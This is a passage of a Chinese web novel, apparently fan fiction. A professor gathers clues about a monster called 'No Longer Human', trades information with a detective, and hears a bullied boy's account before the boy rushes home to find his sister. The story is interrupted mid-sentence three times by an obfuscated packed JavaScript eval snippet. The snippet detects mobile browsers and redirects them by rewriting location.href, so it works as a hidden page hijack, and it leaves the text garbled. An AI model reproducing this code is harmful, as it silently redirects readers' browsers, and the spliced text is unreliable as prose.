“可能是……因为想要上电视吧。” 没听懂。 夏章雾视线下移:果然还是直接看读者的评论比较好。 「七: 稍微说一点前面的剧情,小夏看得到的话希望有点帮助?毕竟我脑子不太好啊哈哈哈。首先人间失格出现的时候,对于它的描述就是黑猫……」 这位读者把前文又详细讲了一遍。 非常热情,夏章雾给他点了个赞,然后准备等到空闲时候,把他说的内容和爱丽丝给出的详述放在一起,对比一下。 再下一页。 飘然如烟的评论占据了整页纸,依旧长篇大论到让人感觉这位是在写论文。不过这一次,他的评论内容似乎被打了马赛克,而最上方有一行红字闪闪发光。 夏章雾定睛一看,倒吸一口凉气: 「作者已修复了其中可被利用的恶性bug,此篇评论仅供读者参考。请主角理智地行走在正道上,拒绝此类恶劣的跳关邪道速通流派。」 嘶,这到底是写什么了? “该不会是给我剧透了大结局吧?” 夏章雾有些茫然地问作者。 “这个倒是没有。” 作者悠悠闲闲地说道:“飘然如烟女士只是告诉了你:杀不杀死人间失格不重要,重要的是只要让读者和作者觉得你把它杀死了,那么人间失格就是真的死了。” 核心思路是瞒天过海,练假成真,骗完作者骗读者,利用高维的认知来定性低维。 “但简而言之,就是怂恿你骗我。” 作者如是评价。 夏章雾的嘴角抽搐了两下。 这,怪不得被打了马赛克。 飘然如烟前辈,虽然你的计划很有可行性,但在想出这个需要“骗作者”的计划时,你有没有考虑过,你发评论的地方就是作者评论区。 ——这和造反之前先通知皇帝“嘿嘿,老登我要造你的反”有何区别啊! 行吧。看来这方法真的只能“仅供参考”了。 夏章雾叹了口气,继续往下阅读。 这次是爱丽丝的评论,希望是靠谱…… 「桉莉斯: 我也想吃草莓(卖萌)」 好吧,并不怎么靠谱的样子。 夏章雾面无表情,刷啦啦地往后翻。 包括爱丽丝在内,读者们还在评论区提到了不少千奇百怪的方法。 包括但不限于利用太宰治、说服太宰治、用爱感化、依靠正面情绪反制、承认怪物的人权、靠明确自我认知获胜、让人间失格明白人存在的意义、用信仰将其杀死、用嘴炮获得胜利…… 全是离谱中透着一丝合理的方案。 等到翻到最后一页,夏章雾才停下来。 这里是读者对他之前提出疑问的解答。 「愿我注视深渊: 没有的,事实上只提到了它并不是猫,有着很奇怪的眼白和并不像是猫的身体,以及对太宰有莫名其妙的悲伤。」 「都给我磕响深响: 没有诶——仔细找了找,从文章上看,第一次太宰治看到是“正巧看到”,第二次是孩子记忆里的,“突然出现”“拉长、膨大、分裂”。没有提到怎么移动的呢。」 「桉莉斯: ……至于怪物有没有做过动作,以前有一句“怪物似乎做了个点头的动作”,面对你杀的那个出租车街道怪物,则有“站起身”的描写,面对实验体们,有描写出来的场景“它拉长、膨胀、分裂,然后缓缓爬上了尸体的身躯”。」 三个回答,但内容基本都是一致的。 人间失格,在视野中从始至终都没有进行过大幅度的位移——这就是他期待的、能证明自己猜想的证据。 准确的说,是“证据之一”。 「都给我磕响深响: 行走、转身、跳跃……这么明确的词,总感觉主角都知道的差不多了,就读者一脸懵。」 “嗯哼。其实很简单的。” 夏章雾笑眯眯的:“这位还对现状不明所以的读者啊,就由我来为你讲解好了!” “首先,我们要明确人间失格的特殊之处。” 他说:“人间失格最独特的地方,在于它没有丝毫反光的纯黑色。因为无法反射光线,所以它如同黑洞一般,无法被发现任何细节,只能看到外轮廓和眼睛。某种意义上,它便是最佳的视错觉魔术道具。” “正因为只能通过外轮廓来辨认其形象,所以它也可以使用变更外轮廓的手段,轻易地改变人类对它们的印象。” 夏章雾露出得意的笑容:“这个过程,正如人类可以通过改变自己的手势,在墙上投下鹰、孔雀、兔子的影子。但正如所有的视错觉魔术一样,这种伪装存在一个致命的缺陷。” 这也是他问读者,人间失格有没有进行过大幅度姿势改变的原因。 “所谓的视错觉,只有在某个特定的视角才会产生。想要进行这种表演,那就必须不能做出大幅度的移动。 “而人间失格,正好也从来没有做出这样的举动。那我们可不可以做出一个推理?它不想移动,因为它不想暴露自己真实的模样,因为它暴露的后果会很糟糕。” 而对人间失格来说,什么才算糟糕? ——会是死亡吗? 人类学教授合上书本,往前走去。他的脸上浮现出跃跃欲试的笑意,但还没有等它彻底变成一个灿烂的表情,就被一个声音彻底打断了。 “勒托先生。” 迎面走来的费奥多尔说。 “侦探先生。” 夏章雾说。 两人停下脚步,互相意味深长地看了眼,并同时觉得这种情况要是再继续下去,他们两个估计要双双失去真名。 但夏章雾是真没办法。事实证明,他对俄罗斯人的印象只剩下“似乎叫费列罗·米其林耶维奇·曼妥思耶夫斯基”的印象了。 你别说,这名字听上去就很好吃。 夏章雾有些神游天外地想着,但很快就被对方的声音拉回了现实。 “您似乎在拜托江户川找人。”俄罗斯人的声音格外的彬彬有礼,“能方便告诉我吗,那个人是谁?” 不方便。 夏章雾很想这么说。 但他默默地把这句话咽了回去。 当然,夏章雾这么做不是因为内心突然涌起的一阵心虚。而是因为他突然想起来了,自己也有想问对方的情报。 “可以,但拿情报来换。” 他果断开口:“我想知道人类和人间失格这类玩意打交道的历史,有兴趣科普一下吗?” 这件事他早就想问了,但总找不到机会。 最重要的是夏章雾之前一直担心对方以情报费的名义敲诈他一笔,但现在就不用怕了:因为即将以情报费名义狠狠敲诈的人是他。 “非常合理的要求。” 费奥多尔点了点头,看上去对这个交换条件并没有什么意见,用相当无所谓的语气开口: “在确切的记录中,我们和这些东西第一次打交道发生在公元四世纪。” 夏章雾挑了下眉。 “比我想象得要晚。”他说。 俄罗斯人轻轻摇头。 “肯定也存在更早的记录,但那些都混杂在神话中,具体的细节早已失真,很难辨认真假。事实上,那一次打交道的过程也被用人们神话的形式描述了出来。” 神话? 夏章雾好奇地眨眨眼睛。 神话好啊,他每天的日常就是研究各种稀奇古怪的欧洲神话和民俗,然后带着自己的学生到处坐飞机飞来飞去,做田野考察。堪称最专业对口的一集。 “什么神话?”他追问。 “圣乔治屠龙。”对方这样回答。 气氛一时间变得安静下来,夏章雾几乎是有些目瞪口呆地看着俄罗斯人。好几秒后,他才以无比震撼的语气开了口。 “等等?”他说,“还有龙?” 对于圣乔治屠龙的故事,夏章雾非常熟悉:其内容主要是龙要吃公主,圣乔治出现了,于是龙被砍死了。 很朴素的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154221|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故事,但意义对他来说很不一般。 毕竟他是个伦敦居民。而圣乔治屠龙对于日不落帝国的意义差不多就相当于……黄帝战蚩尤对华夏的意义? 圣乔治是英格兰的主保圣人,苏格兰的国旗又被称为圣乔治旗,日不落帝国的国旗图案分别代表圣乔治、圣安德烈和圣帕德里克。 从这个角度来看,整个日不落帝国的象征都与这些文学负面体的存在息息相关。 “有龙。”费奥多尔善解人意地安慰道,“但您也不用太担心。它们什么样子的都有。” 然而夏章雾完全没有被安慰。因为他飞快地意识到了一点:自己作为主角,要挑战的肯定是那些强得前所未有的文学负面体。 也就是说,自己未来的对手绝对比龙可怕,指不定就是哥斯拉、奥特曼之类的。 想到这里,夏教授就眼前一黑。 我打哥斯拉?会赢吗?会死的! “放心吧,你肯定不会死。” 画外音也在安慰他:“因为如果事情真到了这个地步,我会在你死之前选择烂尾的。” ——还不如死了呢。 夏章雾默默地想,有气无力地开口:“还有什么坏消息,一起讲了吧,侦探先生。放心,我能承受住。” “那位杀死了龙的存在,也是第一个意识到这类怪物与其他生命不同的人。他后来与部分人类合作,共同组织了一批猎杀它们的力量,并给了它们一个正式的书面称呼。” 费奥多尔喝了口手中的咖啡——夏章雾这才发现对方在走路的时候还端了杯咖啡——然后才继续说道: “OOL。也是这类存在的官方名称。” 夏章雾愣了一下。当然,不是因为他从咖啡里闻到了浓浓的酒精味道。 而是因为OOL这个词汇……正好就是文学负面体(Opposite of Literature)的简称。 “为什么是这个名字?有什么含义?” 他皱起了眉,这么问道:“就没有人问过?他也没有解释这方面的内涵?” “没有。” 费奥多尔摇了摇头,给出了一个出乎意料的回答。 他的眼中似乎多了什么,是微笑吗?夏章雾不解地看着,并不能肯定自己的猜测。 “因为他声称,这个名字并不是他起的,而是来自于未来。” 俄罗斯人的声音很轻、很缓。他看向夏章雾的目光中似乎有着什么意味深长的东西:“历史对他本人的记载很少,只有一点得到了公认。” “——他是一名被神选中的先知。” 他似乎想要暗示什么,但夏章雾什么都没有接收到。 这位倒霉的人类学教授兼救世主兼先知只是一脸懵圈地看着费奥多尔。 先知?这个世界上还存在着别的先知? 夏章雾快速地整理了一下脑海中的思路: 已知:这个世界过去存在“先知”。而他是依靠作者和读者成为的假冒伪劣先知。所以…… 可能性一:这个世界的过去确实存在一个货真价实的先知。此人和他没有任何关系。 可能性二:那位先知是另一个“主角”,也就是他的前任。前任死后,自己这个后辈才作为二代目主角被不幸选中。 可能性三:那个自称“作者”的家伙其实并不是真的作者。它很有可能就是那位真正的先知,但不知为何地成为了自己的引导NPC。 可能性四:这个人就是过去的他。 夏章雾首先排除了第四点。 他很肯定,自己从小到大的记忆都没有任何问题。他绝对不是什么活了几个世纪的老古董,而是生活在二十一世纪的优秀青年教师。 他和十几个世纪前的人能有什么关系? 必不可能有关系的,好吗? 想到这里,夏章雾自信一笑。 “老祖宗听上去真厉害啊。” 他自信满满地说:“看来我这个萌新先知需要学习的地方还有很多。我要找的人叫太宰治,挺可爱的孩子。交易完成,你可以走了。” 费奥多尔没走。 他看着夏章雾。夏章雾也看着他。 大概是某个俄罗斯人此时的目光太过深沉的缘故,周围的气氛逐渐从自信转为了尴尬。 好在没过多久,这种尴尬的气氛就被脚步声打破了。坂口安吾满脸古怪地拖着一个看上去同样是初中生的孩子跑了进来。 夏章雾顿时如蒙大赦。 “下午好啊安吾,这是带同学过来参观?” 他飞快地打了个招呼,假装自己刚刚根本没有发现某位俄罗斯侦探深邃的目光。 “不。”坂口安吾停下脚步,喘了几口气,甚至都没怎么在意夏章雾的话,语气有些急迫,“其实是有关怪物的事情……” 他看向自己身边的同龄人。 那个男孩满脸茫然。他很显然并没有搞明白目前的情况,有些不安地站在坂口安吾身后,身子因为紧张而绷得紧紧的。 在过了好一会儿后,他好像才意识到所有人似乎都在等他说话。他被这个认知吓了一跳,显现出更加胆怯的模样。 “呃,警官们好?” 他硬着头皮说,时不时地看坂口安吾一眼,怯生生得像只刚出生没多久的兔子:“也不是什么大事……” “就是,我好像,昨天晚上看到了一只很古怪的黑猫。” 18.图穷匕见……匕呢? 夏章雾花了点时间,才在坂口安吾的解释和不知名初中生的补充下,勉强搞清楚了这件事是怎么回事。 首先,这位初中生的名字不叫太宰治——这一点从他鼠灰色的头发,以及比太宰治要大上几年的年纪就可以看出来。 他的名字叫石坂洋次郎。 实际上,初中生石坂洋次郎一开始是不打算把昨晚自己“看到了一个黑漆漆很像猫的东西”的事情告诉大人的。 但他在出门买便当的路上刚好遇到了同班同学坂口安吾:坂口同学是学校里的尖子生,而且也是学校里为数不多和他关系还不错的人。 正因如此,他也知道坂口安吾最近一直在关注青森县愈演愈烈的怪物杀人案件。 或许是想到了昨天那只猫和他说的话,还有晚上撞死在玻璃上的东西,石坂洋次郎在不安之下,用隐晦且别扭的方式提醒了自己的同学。 “坂口同学,你之前一直在关注的怪物事件,我感觉很危险。就,最好不要追查了吧。感觉最近的青森不怎么太平的样子。” 他满脸纠结,吞吞吐吐地说:“昨天你也看到了吧?好多怪东西都撞死在了窗户上面。而且我还看到了一只很奇怪的、会说话的黑猫……” “黑猫?” 坂口安吾的表情一开始还很微妙,但在听到这个词后,他立刻就反应了过来。 他拉住石坂洋次郎的衣服,紧张地大声问道:“等等,你看到的是不是一个很像黑猫,但皮毛黑得可怕、眼睛是纯白色的东西?” “欸?” 石坂洋次郎发出惊讶的声音——然后等到他再次回过神的时候,他就已经被坂口安吾拽到警局,站在夏章雾和费奥多尔的身前了。 “……” “所以,这孩子是被你绑票过来的啊。” 夏章雾终于发出了一声感慨:“来之前都没有解释过情况?” “是忘记解释了。” 坂口安吾小声说道,同时有些心虚地挪开了自己的目光:他也知道是自己太急切了,但这不是关心则乱吗? “算了。” 夏章雾也没有继续逗他。他转头望向面前还有几分胆怯的孩子,稍微犹豫了一下。 不得不说,你们青森县还真是人才辈出。见了人间失格后还能活下来的人才竟然不止一个。 “先带他去会议室里做笔录吧,侦探先生。” 他说:“我去看看有没有热可可。” 虽然完全不知道该怎么安慰小孩,但这个世界上没有什么比热可可更能安抚人心的东西了。 至少夏章雾是这么相信的。 “走廊尽头的饮料机那里有热可可。” 费奥多尔倒是没有意见,他低头对两个孩子笑了笑:“走吧,石坂先生和坂口先生。” 就算你这么说,也没有办法解释那杯酒精含量很高的咖啡到底是从哪来的哦。 夏章雾虚起眼睛,视线在俄罗斯人的杯子上意味深远地停留了片刻,但最后还是转身去走廊上给小孩子准备饮料了。 不得不说,青森县的警察局待遇还不错。 果盘里面有水果,饮料机里也有饮料。如果不是他还要回英国当教授,就在这里混个外聘教授的职务也不错。 “两杯可可。一杯我的,一杯他的——好了!” 拎着两个纸杯的边缘,夏章雾小心翼翼地带着两杯滚烫的热可可走进了会议室。也正好,费奥多尔正在问那个叫石坂洋次郎的孩子有关人间失格的事情。 “他问我想不想要不再遭到那些人的欺负。” 那孩子的语气急促:“我肯定不想。但它的要求是我必须得变成怪物,所以我就没有答应它。如果我变成怪物,那就没有办法照顾新子了。她一个人根本没法生活下去……” “抱歉,但我要打断一下。” 俄罗斯人停下笔,对明显激动起来的孩子露出温和的笑:“现在的要求是请您尽可能地重新复述当时的场景,并不用进行概括和加入太多个人想法。这个部分还在后面。” 石坂洋次郎被吓了一跳。 “哦,这样……对不起……” 他低下头,不好意思地说。 夏章雾挑了挑眉,他一听就明白了:果然,这孩子遭遇的是校园霸凌。 说到底,能让这个年纪的孩子遇到人间失格的事情也就那么几件。而校园暴力就是其中可能性最大的一种。 他带着饮料坐回自己的座位上,并不想对这件事发表太多的看法,只是把其中的一份轻柔地推给了正在做笔录的人类幼崽。 “小心烫。”他说,然后偏过头,去看费奥多尔记录下来的内容。 笔录用的是日文,很好地照顾了同样在旁边探头探脑的坂口安吾。内容很简单,其中绝大部分的内容都很符合坂口安吾的笔录。 比如“人间失格”出现的过程。 「我看到它的时候是在床上。当时我正在想和学校有关的事情,结果突然看到了有只黑猫一样的东西站在窗户前面。 它看上去像是在那里待了很久,我没看到它的影子。不知道为什么,当它开口说话时,我也没有被吓到,甚至觉得这一切都很正常。」 对于这种诡异的“正常感”,夏章雾并不陌生:他从读者那里得到过有关的信息,太宰治在遇到人间失格时似乎也有这种感觉。 很好,这更加证明了人间失格并不是一种纯粹物质性的存在。它绝对和人类的记忆、意识和潜意识有关。 他快速地浏览完这些内容,把注意力放在石坂洋次郎与人间失格集体的对话上面: 「猫询问我:“你肯定觉得自己的生活很不公平吧。明明父母告诉你,欺负他人是一种错误。明明你的老师告诉你,人们之间要和睦共处。明明你的教育告诉你,人与人是平等的。但你遇到的事情却完全不是这样。” 我很惊讶地点点头。 它说:“我一直在注视着你。”然后短暂地停顿了一下,又说:“我猜你在想,为什么自己会成为被人们欺辱的那个。” 这个答案很简单。我告诉猫:“我知道原因:那是因为我没有勇气反抗,他们觉得我很软弱。还有人同样没有父母,但他们就不敢欺负。” 于是它想了想,对我说:“我可以让你拥有反抗他们的力量。只要你愿意承认自己是我们这些怪物的一员——实际上,我们本来就是同类。” 我没搞懂它的意思,困惑地看着它。 “我们都是被抛弃的东西。”它告诉我,“我们有着同样的命运。事情就是这样。”」 坂口安吾有些困惑地戳了戳夏章雾。 “你能看懂最后这句吗?”他问,“为什么人间失格说它自己也是被抛弃的东西?” 夏章雾侧眸看向他,然后微微一笑。 “你猜。”他说。 坂口安吾毫不犹豫地扭过头:“……” 失策了,他就不该问这个混蛋问题。 “呃,我还要继续说吗?” 石坂洋次郎抱着装热可可的杯子,有些紧张地开口。他左看看右看看,一副不知道该用什么姿态坐在这群人中间的样子。 “继续吧。” 费奥多尔安抚般地回答:“那只黑猫有做出什么行动吗?” “哦,没有!至少我记忆里没看到那只猫动弹过……它和我说了这句话后,我不知怎的,就想起了妹妹。于是我就告诉它:我虽然可能被人类社会抛弃了,但我妹妹没有。然后我也没等回答,就用被子把自己的脸蒙住,假装在睡觉。” 石坂洋次郎继续努力地回想着:“等我再次把被子掀开的时候,已经看不到它了。到这个时候我才突然感到害怕,于是就去妹妹的房间看她,发现她没事才去睡觉。” “石坂同学还有妹妹啊。” 坂口安吾苦思那句话无果,于是干脆趴在桌子上,有些好奇地看着自己的同学:“在学校都没听说过。” “啊,这个……对不起。” 石坂洋次郎低下头,不知为何地突然道歉起来:“因为很担心那些霸凌我的人也会找上还在上小学的妹妹,所以我平时不敢提她的事。” “倒也不必道歉!” 坂口安吾镜片后面的眼睛睁大了,他有些慌乱地飞快地转移话题:“不过你的妹妹会遇到类似的问题吗?我听说有的小学也会有霸凌现象,尤其是针对父母去世的孩子……呃,我也不是那个意思……” 初中生坂口安吾先生抓了抓自己的头发,绝望地闭上嘴,发现自己的语言能力完全无法在这种场合派上用场。 夏章雾瞥了眼他,感觉这只小崽子的良心此刻大概正隐隐作痛:真好。他现在已经几乎没有良心了,想体验这种感觉都做不到。 俄罗斯侦探也暂时放下了手中的笔,专心地听着。他要记录的内容已经结束了,接下来的部分并不是什么特别重要的情报。 “应该没有吧?” 石坂洋次郎愣了一下,随后脸上露出有些担忧的表情,就连原本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176201|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉宇间怯生生的不安都褪去了,完全沉浸在了对自己妹妹情况的回想里。 他自言自语道:“我问过她,她说在学校生活得很开心。去医院时也都有检查过,医生都说她身上没有受过伤。而且放假的时候,她的朋友还经常主动找上门,邀请她出去玩。” 完全没有什么值得担忧的地方,不是吗? 坂口安吾也这么觉得。 “这样啊,那看来石坂同学的妹妹很幸运呢。” 他说了一半,突然反应过来:“等等,我不是在说石坂同学.运气不好……总之非常对不起!” 认认真真地道歉后,坂口同学再次绝望地闭上了嘴。 “倒也没有。或者说,新子她能够像普通人一样生活下去,就是我最大的幸运了。” 石坂洋次郎有些勉强地笑了笑,但不是因为坂口安吾不经意间的冒犯——更具有恶意的秽语相向他都经历过,这个真的不算什么——而是因为他不由自主地想到了更多令他担忧的事情。 “那个黑猫一样的东西,很危险吗?” 他鼓足勇气,说出了自己的猜想:“如果可以的话,麻烦你们告诉我。我想我有权利知道。” 他现在已经很少这么做了,更习惯于依靠自己来解决问题。因为他曾经向许多大人求助过,但是结局都算不上好:这也是他为什么到现在还在忍受校园霸凌。 但关于这个问题,除了问面前的人们,他根本没法得到答案。 “很危险。青森县最近的怪物伤人事件都是和它有关。如果你不拒绝的话,大概也已经成为其中的一员了。” 费奥多尔看穿了这个孩子的想法:“不过也不必太担心,它只会找到身处不幸之中的人。您的妹妹如果生活得很幸福,根本不会遇到它。” 石坂洋次郎的表情稍稍放松了一些。在发现不用担忧自己妹妹的事情后,他的勇气消失了,又重新变成了那个内向又紧张的孩子。 “谢谢。”他嗫嚅着说,“谢谢你们。” 坂口安吾注意到对方抱着杯子,开始不安地盯着门所在的方向,于是干脆起身拉住对方的手,主动对两个大人询问道:“事情结束了吗?他可以走了吗?” “很有用的情报。” 费奥多尔的脸上保持着微笑:“路上小心。” “等等!我可以把这杯热可可带走吗?” 石坂洋次郎突然问道。他看向夏章雾,小心地抱着还有些温热的可可。 这副表情……感觉要是不答应的话,下一秒这个小家伙就能哭出声啊。 夏章雾无声地叹了口气。 “带走吧。”他说,“冷掉的话,就去走廊那里的饮料机重新续一杯好了。” 石坂洋次郎很是感激地睁大眼睛。他抱着杯子,小声不断地说着“谢谢”,与坂口安吾一起离开了这个空旷的会议室。 夏章雾看着这两个孩子出门,确认他们都不会回来后,这才把自己的目光缓缓地挪到了费奥多尔身上。 凝视。 长达好几秒的凝视。 “我还以为。”他说,“对于这个主动送上门的未成年,你会用和他妹妹与人间失格的情报来威胁他,让他“自愿”当你计划中的那个诱饵。” 这是夏章雾基于某位俄罗斯的道德素质,所做出的合理推测:但是这个推测竟然没有变成现实,简直太不合理了。 这家伙刚刚的表现竟然和真的好心人一样。夏章雾等“图穷匕见”的场面等了半天,结果什么都没等到。 “首先,我其实不喜欢拿情报威胁别人。” 费奥多尔抬了下眼眸,无奈地说:“其次,我觉得这件事并不用我主动提起。” “嗯?”夏章雾抬眉。 他收起自己一闪而逝的“这家伙的前半句是不是在骂我”的想法,认真地打量着对方。 “他会回到这里来的。” 俄罗斯人用笃定的语气说。 夏章雾收回目光,端起装热可可的杯子,默默喝了一口,发自内心地觉得对方这神神秘秘的姿态要比自己更像先知。 “为什么这么说?”他问。 “因为人性。” 侦探眯起眼睛,笑了。 他的声音依旧平缓,甚至依旧带着些微的笑意,只是多了几分令人莫名毛骨悚然的味道: “您要知道,在这方面,我永远是不惮以最大的恶意来揣测人类的。而事实证明——” “这种揣测总是非常、非常准确。” 19.禁止大哥哥! 石坂洋次郎正在回家的车上。 他站在公交车上,看向窗外的表情有点焦急。因为他在警局耽误的时间太长了,而便当还没有买完,所以不得不推迟了回家的时间。 但他站得也很稳。因为他必须要小心一点,这样杯子中的热可可才不会撒出来。 把热可可带回家给妹妹喝,这并不是什么深思熟虑的结果。石坂洋次郎只是觉得自己这么晚回去,妹妹肯定会感到担心。但有热可可喝的话,就算是再紧张担忧,至少也会在喝到的那一刻暖和起来吧? 石坂洋次郎希望看到的是妹妹石坂新子温暖而又幸福的笑容,而不是含着泪水的眼睛。每当她笑起来时,石坂洋次郎都认为自己的妹妹是世界上最可爱、最美丽的天使。 这是他无论如何都要保护的珍宝,也是他最后的家人。 石坂洋次郎站得直了几分。 他想象着他们见面时的画面,他想象着自己要怎么和妹妹道歉,要怎么和她解释自己花了太长时间买便当的事情。 他想如果有手机就好了,那样他在去警察局的时候就可以打一个电话给她。正好,再过几天他就能攒够买一个手机的钱。 “但还要留下一部分钱。否则,新子要是生病了怎么办呢?” 石坂洋次郎很是认真地对自己说,脑海里正对他们兄妹两人的小金库精打细算。 父母的遗产是不能动的。他们兄妹两个上学还要靠这笔钱。如果考去了外地的学校,也要用这笔钱来租房子住。所以能用的只有他自己打零工和回收废品赚来的钱。 不过在他们的节省下,小金库里的数字倒也一直在不断增加,虽然缓慢,但很坚定。就像他们的生活一样,正在朝着很有盼头的方向走去。 想到这里,石坂洋次郎的脸上忍不住浮现出微笑:他相信自己能攒上一大笔钱,考上远离青森的学校,带妹妹离开,远离这些校园霸凌者,在异乡重新生活。 他相信自己就算父母不在了,肯定也能照顾好最后的家人。 他相信自己的妹妹会长大,会和其他正常家庭里的孩子一样幸福。而到时候,他就是全世界最幸福的哥哥。 他相信一切都会变好。 他是如此地相信着这些,天真到就连怪物都会感到不可思议的地步。 好像他生活的全部意义就在于把这个梦一样的未来实现,好让自己的妹妹能够光鲜亮丽地生活在人类的世界当中。在这件事面前,所有的窘迫与苦厄都不值一提。 啊,车站终于到了。 石坂洋次郎等这一站下车的人都走完,才跟在后面急匆匆地下了车。他小心翼翼地护着装热可可的杯子,生怕脆弱的纸杯会在拥挤的人流中挤扁。 “还有两条街……” 石坂洋次郎自言自语地嘟哝着,朝家里跑去。 他在思考自己接下来要干的事情,他也在回想自己在警察局看到的事情。他想到了那只黑猫一样的东西,不由自主地再次感到了担心。 不过石坂洋次郎很快就安慰了自己:虽然那只猫很危险,但好像也很有礼貌。在自己拒绝之后,它就走了,并没有纠缠。 所以只要拒绝了它,就不用担心变成怪物了。 他想。 这个简单的推测让他再次有了勇气:他决定,就算那只猫下次要过来找自己,他也要拒绝。他还得让自己的妹妹也拒绝那只猫(假如她真的因为什么意外而遇到它的话)。 因为她还小小的,实在很容易被骗。那只猫要是用“哥哥”的名义来骗她的话,她肯定会笨笨地上当的。 石坂洋次郎走过街角。 他听到有人的喊叫声。这些声音来自示威游行的队伍,这一点他认出来了。 但那些人口中喊着的东西他却听不清楚:不同的频率和音色混在一起,在耳边变成了混沌而又嘈杂的无意义吼叫。 只有恐惧的情感被表达得极为清晰。 这些惊恐的、慌乱的、不知道前方到底发生了什么的人群拥挤在街道上。更深处的人拼命地想要挤出来,在外面围观的人则是纷纷伸长脖子,在不明所以的好奇心驱使下,一个个都想要挤进去。 哭泣声、叫嚷声、胡言乱语的声音如同乱麻,当中夹杂着警笛的呼啸。手机的拍照声,汽车的鸣笛声乱作一团。 石坂洋次郎被前方不同寻常的骚乱吓了一跳,有些焦急地看着前方的人流。他本能地察觉到前面的道路上发生了相当危险的事,一时不知道该不该绕路——如果绕路走,他回去的时间要晚十几分钟。 “喂,到底发生什么了!” 短暂地犹豫后,他快步地跑向一个从人群当中挤出、像是打算头也不回地逃离现场的人,急切地大声地询问道。 那个人短暂地停下步伐,他面色苍白地看了眼石坂洋次郎的方向,失去血色的嘴唇轻微地颤抖。 “怪物……”他哆哆嗦嗦地说,“是怪物!” 石坂洋次郎睁大了眼睛。 他抱着怀里的东西,只感觉大脑一片空白,几秒钟后才意识到这到底意味着什么。 他们家就在这附近,也就是说,石坂新子也在这附近。 石坂洋次郎往家的方向看去,脸上的神色是前所未有的慌张。在短暂的权衡后,他一咬牙,跑过去把装热可可的杯子塞给那个人。 “送给你了!” 他说,转身逆着人潮,奋力往里挤去。 他必须得快点回家,看看新子的情况。 希望她还待在家,没有因为担心而出门。希望今天没有朋友来找她出去玩。希望…… 石坂洋次郎冲过人群。他没有看到怪物,但闻到了浓浓的血腥味。 有人死了吗? 这个令人恐慌的念头从脑海中掠过,还没有持续多久,就被一声属于怪物的尖锐鸣叫打断。 石坂洋次郎甚至都没有敢抬起头。 他跪倒在地,拼命地朝旁边打了个滚。他听到气流在耳边发出尖锐的爆鸣,他看到一个娇小的影子举着巨大的翅膀,“羽毛”中闪烁着光芒。 它从天空扑向大地,并与他擦肩而过。 紧随而来的是连续不断的子弹出膛声。 “不要停在这里!”有人对他说。但说出这句话的是谁,石坂洋次郎并不清楚。 “咯——咔!” 怪物发出凄厉的嘶鸣,也许有子弹击中了它。但石坂洋次郎根本没有回头看它的样子,他只是不知为何地对这个怪物感到了抱歉。 可能是因为如果昨天答应了那只黑猫,这只怪物就会是自己的同类。他想,今天在这里面对枪声的或许就是他们两个人……不,两只怪物。 “对不起。”他小声地说,就像是之前在外面无数次和别人道歉那样,但他这次不仅仅是想要对谁表达歉意,而是想要说服自己,“可我要回去找妹妹,真的非常对不起。” “对不起,对不起,对不起……” 石坂洋次郎艰难地撑着地面站起,然后头也不回地远离了人和怪物的战场,而且跑得越来越快,越来越快。哪怕咽喉已经感受到铁锈的味道,肺部传来火烧般的感觉,他也没有停下。 他在路上用颤抖的手摸索出钥匙。他跑入公寓的楼梯。他从三楼奔出。他扑在自己家的门上,用几乎抓不住钥匙的手试图扭动钥匙孔。 “新子,新子!” 一边这么做,石坂洋次郎一边焦急地大声喊着自己妹妹的名字:“你在家里吗?” 没有回答。 伴随着“咯哒”的声响,石坂洋次郎推门而入,找遍了这个小小公寓当中所有的房间。在确定妹妹现在不在这里后,他的脸色瞬间就苍白起来——比那个从怪物现场逃脱的男人还要苍白。 他几乎是胡乱地找出了纸笔,抱着最后的希望在桌子上留下了“我已经回来了”的字条,希望妹妹只是暂时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187763|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出门了。 随后,他再次跑出门。这次他的目标非常准确,就是怪物肆掠的那个现场。 只要在那里找不到妹妹就行。这附近平时没有什么危险,只要不出现在那里就行。 在路上,石坂洋次郎一直催眠般地念着这些话。 他对自己说:她还只是一个小姑娘。她不可能那么倒霉。她完全没有理由跑到大街上面。她身上的悲剧已经够多了,这种事情怎么会再一次地找上她? 是啊,道理是这样的。 但是…… 但是为什么他感觉心脏被一只尖锐的爪子仅仅地抓住?为什么他感到自己的眼角有泪水要忍不住流出?为什么,他再次回想起了一种深入骨髓的悲伤——就和父母因为车祸去世的那天一样? 石坂洋次郎跑得越来越慢,越来越慢。 泪水模糊了眼前的视线,力量在从他的身上缓慢而不可阻挡地抽离。 最后他在街道上摔倒,跪在距离那只怪物还很远很远的地方,蜷缩成了很小的一团,抱着自己的膝盖呜咽出声。 ——因为他知道啊。 